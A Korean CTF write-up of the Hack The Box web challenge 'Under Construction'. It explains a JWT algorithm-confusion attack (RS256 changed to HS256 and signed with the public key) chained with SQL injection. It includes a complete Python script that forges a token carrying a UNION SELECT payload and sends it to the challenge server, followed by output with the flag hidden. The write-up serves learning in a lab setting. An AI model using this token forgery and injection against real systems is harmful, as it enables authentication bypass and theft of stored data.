[HTB] Web Challenge - Under Construction

조병근·2020년 8월 23일

HTB

목록 보기
3/7

아이디를 등록하고 로그인하면 jwt를 쿠키로 준다. base64 decode 해보면 안에 username, public key가 포함되어 있다.
근데 알고리즘이 RS256이라 private key를 알지 못하면 서명을 위조할 수가 없다.

그래서 알고리즘을 HS256으로 바꾸면 대칭키 알고리즘(rsa 공개키로)을 사용하기 때문에 주어진 public key를 이용해 서명을 위조할 수 있다.

https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through/

서명을 위조하면, 다른 사용자로 인증할 수 있는데, 결국 flag를 읽어야 한다. 코드를 보면 DBHelper.js에서 getUser를 통해 얻은 username을 이용해 index.html을 렌더링 해준다.

다른 함수들에는 sqlite3 placeholder(?)를 써서 sql injection을 막았는데, 이 함수에서는

`SELECT * FROM users WHERE username = '${username}'`

이렇게 써서 sql injection이 가능하다.

이 문제의 흐름은 다음과 같다:

checkUser -> 없으면 createUser -> getUser로 JWT에 있는 username을 이용해 user 확인 후, 화면에 렌더링.

checkUsercreateUser에는 sql injection을 막아놨지만 getUser에는 안 막아놨다.

위의 쿼리문을 보면 SELECT * FROM ~ 이런식으로 해놔서 users 테이블에 column이 몇 개인지 모른다. UNION SELECT를 해주려면 컬럼 갯수가 같게 SELECT를 해야 해서 우선 column 갯수부터 알아야 한다. -> order by 사용

그리고 아마 UNION SELECT 할 때 컬럼 갯수 말고도 컬럼 타입도 같아야 하는 걸로 알고 있는데, 그걸 위해 null을 쓰면 된다.

그러면 컬럼 갯수가 3개인 거 확인가능하고 이제 username 컬럼의 순서를 확인해야 한다. 그래야 union select 할 때 우리가 원하는 값을 첫 번째 컬럼에서 받을 것인지, 두 번째, 세 번째에서 받을 지 정할 수 있다. 걍 3번 해보면 되니까 2번째인 거 확인가능하다.

그리고 우리가 원하는 컬럼(sqlite_master의 컬럼들)을 select 해야 하는데 username을 getUser에서 쓰기 때문에 SELECT 1 as username이렇게 별칭을 지정해줘서 select 하면 된다.

그렇게 해서 테이블 정보, 컬럼 정보까지 찾다보면 flag_store이라는 테이블이 있고, top_secret_flaag라는 컬럼이 있어서 거기 있는 값을 가져오면 해결!

마지막 단계에서 원치 않은 테이블명이나 컬럼명이 나올 수도 있는데, db.get이 한 row만 가져와서 그런 거일듯?

그래서 limit 적당히 사용해주면 될 거 같다.

이제 알았는데 github에 올려져있는 writeup 보려면 flag를 알아야 한다.

UnderConstruction.py:

import base64
import binascii
import time
import jwt
import hashlib
import hmac
import json
import requests


# -------------------------token_part-------------------------
# change algo from RS256 to HS256
# and make fake signature <= base64(hmac-sha256(header+payload))

public_key="""-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY
ktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi
XuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg
jIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH
+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx
V8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr
0wIDAQAB
-----END PUBLIC KEY-----
""" # last \n(0x0a) is needed!!! 

now=int(time.time())

header={
    "alg":"HS256",
    "typ":"JWT"
}

payload={
    "username": "gues' UNION SELECT NULL,top_secret_flaag as username,NULL from flag_storage-- ",    #Using username, we can fake identity and sql injection
    "pk":public_key,
    "iat": now
}

jwt_header=base64.b64encode(json.dumps(header).replace(" ","").encode()).decode().replace('=','') # make jwt_header
jwt_payload=base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().replace('=','') # make jwt_payload

to_sign=bytes(jwt_header+"."+jwt_payload, 'utf-8') # we will make signature using this

#hex_key=binascii.hexlify(public_key.encode()) 

signature=hmac.new(public_key.encode(),to_sign,hashlib.sha256).hexdigest() # make hmac-sha256
signature=binascii.a2b_hex(signature)
signature=base64.urlsafe_b64encode(signature).decode().replace('=','') # signature -> base64

token=jwt_header+"."+jwt_payload+"."+signature

print ("token: "+token)

# -------------------------request_part-------------------------
url="http://docker.hackthebox.eu:30457/"
auth_url="http://docker.hackthebox.eu:30457/auth"

data={
    "username": "admin",
    "password": "admin"
}

cookies={
    "session":token
}	#Broken Authenticate

req=requests.session()

post=req.post(auth_url,data)
post_content=post.text.split('<div class="card-body">')[1].split("<br>")[0]
print(post_content,post.url)

req=requests.session()

get=req.get(url,cookies=cookies)
get_content=get.text.split('<div class="card-body">')[1].split("<br>")[0]

print (get_content,get.url)
PS C:\Users\a\Desktop\HTB> python .\UnderConstruction.py
token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJndWVzJyBVTklPTiBTRUxFQ1QgTlVMTCx0b3Bfc2VjcmV0X2ZsYWFnIGFzIHVzZXJuYW1lLE5VTEwgZnJvbSBmbGFnX3N0b3JhZ2UtLSAiLCAicGsiOiAiLS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS1cbk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBOTVvVG05RE56Y0hyOGdMaGpaYVlcbmt0c2JqMUt4eFVPb3p3MHRyUDkzQmdJcFh2NldpcFFSQjVscW9mUGxVNkZCOTlKYzVRWjA0NTl0NzNnZ1ZEUWlcblh1Q01JMmhvVWZKMVZtak5lV0NyU3JEVWhva0lGWkV1Q3VtZWh3d3RVTnVFdjBlekM1NFpUZEVDNVlTVEFPemdcbmpJV2Fsc0hqL2dhNVpFRHgzRXh0ME1oNUFFd2JBRDczK3FYUy91Q3ZoZmFqZ3B6SEdkOU9nTlFVNjBMTWYybUhcbitGeW5Oc2pOTndvNW5SZTd0UjEyV2IyWU9DeHcydmRhbU8xbjFrZi9TTXlwU0tLdk9najV5MExHaVUzamVYTXhcblY4V1MrWWlZQ1U1T0JBbVRjejJ3Mmt6QmhaRmxINlJLNG1xdWV4SkhyYTIzSUd2NVVKNUdWUEVYcGRDcUszVHJcbjB3SURBUUFCXG4tLS0tLUVORCBQVUJMSUMgS0VZLS0tLS1cbiIsICJpYXQiOiAxNTk3MjUyODU2fQ.4KVYOLw_fN77OsCAZq_daRhrGrPoa-_-FB4vxu4uPpg

                    Welcome admin http://docker.hackthebox.eu:30457/

                    Welcome HTB{🤐} http://docker.hackthebox.eu:30457/

🏁 HTB{🤐}

profile
I'm always chobo

0개의 댓글